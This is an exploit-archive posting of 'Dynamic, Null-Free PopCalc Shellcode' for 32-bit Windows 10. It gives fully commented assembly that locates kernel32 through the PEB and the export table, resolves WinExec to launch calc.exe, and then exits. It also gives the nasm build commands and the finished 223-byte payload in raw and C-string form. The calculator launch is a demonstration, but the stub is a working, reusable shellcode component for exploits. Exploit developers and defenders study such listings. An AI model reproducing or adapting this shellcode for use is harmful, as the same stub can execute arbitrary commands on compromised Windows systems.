Share
; Shellcode Title:  Dynamic, Null-Free PopCalc Shellcode (223 Bytes)
; Shellcode Author: Bobby Cooke
; Technique:        PEB & Export Directory Table
; Tested On:        Windows 10 Pro (x86) 10.0.18363 Build 18363

# Create a new stack frame
 push ebp                ; push current base pointer to the stack
 mov ebp, esp            ; Set Base Stack Pointer for new Stack-Frame
 sub esp, 0x30           ; Decrement the stack by 96 to create space for saving pointers 

# Push string "GetProcAddress",0x00 onto the stack
 xor eax, eax            ; clear eax register
 mov ax, 0x7373          ; AX is the lower 16-bits of the 32bit EAX Register
 push eax                ;   ss : 73730000 // EAX = 0x00007373 // \x73=ASCII "s"      
 push 0x65726464         ; erdd : 65726464 // "GetProcAddress"
 push 0x41636f72         ; Acor : 41636f72
 push 0x50746547         ; PteG : 50746547
 mov [ebp-0x4], esp      ; save PTR to string at bottom of stack (ebp)

# Find Base Address of the kernel32.dll Dynamically Linked Library
 xor eax, eax            ; clear eax register
 mov eax, [fs:eax+0x30]  ; EAX = Address_of_PEB
 mov eax, [eax+0xc]      ; EAX = Address_of_LDR
 mov eax, [eax+0x1c]     ; EAX = First Entry of InInitialzationOrderModuleList - ntdll.dll
 mov ebx, eax            ; Get the second entry in the Initialization Order Module List (kernelbase.dll)
 mov eax, [ebx]          ; EAX = Second Entry of InInitialzationOrderModuleList - kernelbase.dll
 mov ebx, eax            ; Get the third entry in the Initialization Order Module List (kernel32.dll)
 mov eax, [ebx]          ; EAX = Third Entry of InInitialzationOrderModuleList - kernel32.dll
 mov eax, [eax+0x8]      ; move the kernel32.dll base address into the EAX register
                         ; EAX = Base address of kernel32.dll
 mov [ebp-0x8], eax      ; Save the base address of kernel32.dll in the 2nd from bottom position on our stack

# Find Base Address of GetProcAddress Symbol
 mov ebx, [eax+0x3c]     ; save Relative Virtual Address (RVA/Offset) of New_Exe_Header to ebx.
 add ebx, eax            ; EBX = Address of new  Header
 mov ebx, [ebx+0x78]     ; (RVA of New Exe Header) + 0x78 = RVA of Export-Table
 add ebx, eax            ; EBX now holds the address of the Export Table for kernel32.dll
 mov edi, [ebx+0x20]     ; PTR to RVA of Name-Pointer Table
 add edi, eax            ; (kernel32.dll baseAddr) + (RVA Name-Pointer Table) = Address of Name-Pointer Table
 mov [ebp-0xC], edi      ; save Address of Name-Pointer Table in the 3rd from bottom position in our stack-frame
 mov ecx, [ebx+0x24]     ; PTR to RVA of Ordinal Table
 add ecx, eax            ; (kernel32.dll baseAddr) + (RVA Ordinal Table) = Address of Ordinal Table
 mov [ebp-0x10], ecx     ; save PTR to Ordinal Table Address at 4th from bottom of stack (ebp-16)
 mov edx, [ebx+0x1c]     ; PTR to RVA of Address Table
 add edx, eax            ; (kernel32.dll baseAddr) + (RVA Address Table) = Address of Address Table
 mov [ebp-0x14], edx     ; save PTR to Address Table Address at 5th from bottom of stack (ebp-20)
 mov edx, [ebx+0x14]     ; Value of Number of Functions/Symbols within the Tables
 xor eax, eax            ; Counter = 0
loop:
 mov edi, [ebp-0xC]      ; Address of the Name-Pointer Table
 mov esi, [ebp-0x4]      ; PTR to string "GetProcAddress",0x00
 xor ecx, ecx            ; clear ecx register -- used for counters/loops
 cld                     ; clear direction flag, DF=0 -- Process strings from left to right
 mov edi, [edi+eax*4]    ; Entries in Name Pointer Table are 4 bytes long
                         ; edi = RVA of Nth entry = (Address of Name-Pointer Table) + (Counter * 4)
 add edi, [ebp-0x8]      ; edi = address of string = (kernel32.dll base addr) + (RVA of Nth entry)
 add cx, 0xf             ; ecx = length of string to compare = sizeof("GetProcAddress") = 15 (14 Letters + 1 String Terminator Char)
 repe cmpsb              ; compare first 15 bytes of string. esi cmp edi
                         ; if equal ZF=1, if not ZF=0
 jz found                ; if strings match end loop, else increment eax and loop again
 inc eax                 ; counter ++
 cmp eax, edx            ; check if eax = Value of Number of Functions/Symbols within the Tables
 jb loop                 ; If eax != edx, restart the loop

found:
; The Counter (eax) now holds the position of GetProcAddress within the table
 mov ecx, [ebp-0x10]     ; ecx = Address of Ordinal Table
 mov edx, [ebp-0x14]     ; edx = Address of Address Table
 mov ax, [ecx + eax*2]   ; ax = ordinal number = (Address of Ordinal Table) + (counter * 2)
 mov eax, [edx + eax*4]  ; eax = RVA of function = var20 + (ordinal * 4)
 add eax, [ebp-0x8]      ; eax = address of GetProcAddress = (RVA of GetProcAddress) + (kernel32.dll base addr)
;   Address of GetProcAddress is now in EAX
 mov [ebp-0x18], eax     ; save Address of GetProcAddress onto Stack 0x18=24; 6th from bottom

; Call GetProcAddress(hModule &kernel32.dll, lpProcName "WinExec")
;   hModule:    address of the DLL module that contains the function.
;   lpProcName: A Pointer to the beginning of an ASCII string of the functions name; null terminated.
 mov edx, 0x63657878     ; "xxec"
 shr edx, 8              ; edx = "xec",0x00 // shr edx, 8 = Shifts the edx register to the right 8 bits
 push edx
 push 0x456e6957         ; EniW : 456e6957
 push esp                ; $lpProcName -- push the address of the start of the string onto the stack
 push dword [ebp-0x8]    ; $hModule    -- push base address of kernel32.dll to the stack
 mov eax, [ebp-0x18]     ; Move the address of GetProcAddress into the EAX register
 call eax                ; Call the GetProcAddress Function.
                         ; The address of the queried function is returned into the EAX register.
 mov [ebp-0x1c], eax     ; save Address of WinExec onto Stack 0x1c=28; 7th from bottom

; Call WinExec( LPCSTR lpCmdLine, UINT uCmdShow );
;   lpCmdLine = "calc.exe"         # String to program path
;   uCmdShow  = 0x00000001         # SW_SHOWNORMAL - displays a window
 xor ecx, ecx          ; clear eax register
 push ecx              ; string terminator 0x00 for "calc.exe" string
 push 0x6578652e       ; exe. : 6578652e
 push 0x636c6163       ; clac : 636c6163
 mov eax, esp          ; save pointer to "calc.exe" string in eax
 inc ecx               ; uCmdShow SW_SHOWNORMAL - 0x00000001
 push ecx              ; uCmdShow *ptr to stack in 2nd position - LIFO
 push eax              ; lpcmdLine *ptr to stack in 1st position
 mov eax, [ebp-0x1c]   ; Move the address of WinExec into the EAX register
 call eax              ; Call the WinExec Function.

; Call GetProcAddress(hModule &kernel32.dll, lpProcName "ExitProcess")
 xor ecx, ecx
 mov ecx, 0x73736501     ; 73736501 = "sse",0x01 // "ExitProcess",0x0000 string
 shr ecx, 8              ; ecx = "ess",0x00 // shr shifts the register right 8 bits
 push ecx                ;  sse : 00737365 
 push 0x636f7250         ; corP : 636f7250
 push 0x74697845         ; tixE : 74697845
 push esp                ; push pointer to string to stack for 'ExitProcess',0x00
 push dword [ebp-0x8]    ; push base address of kernel32.dll to stack
 mov eax, [ebp-0x18]     ; PTR to GetProcAddressA to EAX
 call eax                ; GetProcAddressA(PTR *kernel32.dll, "ExitProcess"0x00)
;   EAX = ExitProcess Address
 mov [ebp-0x20], eax     ; save Address of ExitProcess onto Stack 0x54=84

; Call ExitProcess(ExitCode)
 xor edx, edx
 push edx                ; ExitCode = 0
 mov eax, [ebp-0x20]     ; ExitProcess(ExitCode)
 call eax

# Compiled on Kali with nasm
; nasm -f win32 dynaCalc.asm -o dynaCalc.o
; for i in $(objdump -D dynaCalc.o | grep "^ " | cut -f2); do echo -n '\x'$i; done; echo
; RAW:
; 5589e583ec3031c066b8737350686464726568726f634168476574508965fc31c0648b40308b400c8b401c89c38b0389c38b038b40088945f88b583c01c38b5b7801c38b7b2001c7897df48b4b2401c1894df08b531c01c28955ec8b531431c08b7df48b75fc31c9fc8b3c87037df86683c10ff3a674054039d072e48b4df08b55ec668b04418b04820345f88945e8ba78786563c1ea08526857696e4554ff75f88b45e8ffd08945e431c951682e6578656863616c6389e04151508b45e4ffd031c9b901657373c1e908516850726f63684578697454ff75f88b45e8ffd08945e031d2528b45e0ffd0
; Python/C format:
; "\x55\x89\xe5\x83\xec\x30\x31\xc0\x66\xb8\x73\x73\x50\x68\x64\x64\x72\x65\x68\x72\x6f\x63"
; "\x41\x68\x47\x65\x74\x50\x89\x65\xfc\x31\xc0\x64\x8b\x40\x30\x8b\x40\x0c\x8b\x40\x1c\x89"
; "\xc3\x8b\x03\x89\xc3\x8b\x03\x8b\x40\x08\x89\x45\xf8\x8b\x58\x3c\x01\xc3\x8b\x5b\x78\x01"
; "\xc3\x8b\x7b\x20\x01\xc7\x89\x7d\xf4\x8b\x4b\x24\x01\xc1\x89\x4d\xf0\x8b\x53\x1c\x01\xc2"
; "\x89\x55\xec\x8b\x53\x14\x31\xc0\x8b\x7d\xf4\x8b\x75\xfc\x31\xc9\xfc\x8b\x3c\x87\x03\x7d"
; "\xf8\x66\x83\xc1\x0f\xf3\xa6\x74\x05\x40\x39\xd0\x72\xe4\x8b\x4d\xf0\x8b\x55\xec\x66\x8b"
; "\x04\x41\x8b\x04\x82\x03\x45\xf8\x89\x45\xe8\xba\x78\x78\x65\x63\xc1\xea\x08\x52\x68\x57"
; "\x69\x6e\x45\x54\xff\x75\xf8\x8b\x45\xe8\xff\xd0\x89\x45\xe4\x31\xc9\x51\x68\x2e\x65\x78"
; "\x65\x68\x63\x61\x6c\x63\x89\xe0\x41\x51\x50\x8b\x45\xe4\xff\xd0\x31\xc9\xb9\x01\x65\x73"
; "\x73\xc1\xe9\x08\x51\x68\x50\x72\x6f\x63\x68\x45\x78\x69\x74\x54\xff\x75\xf8\x8b\x45\xe8"
; "\xff\xd0\x89\x45\xe0\x31\xd2\x52\x8b\x45\xe0\xff\xd0"

#  0day.today [2020-02-21]  #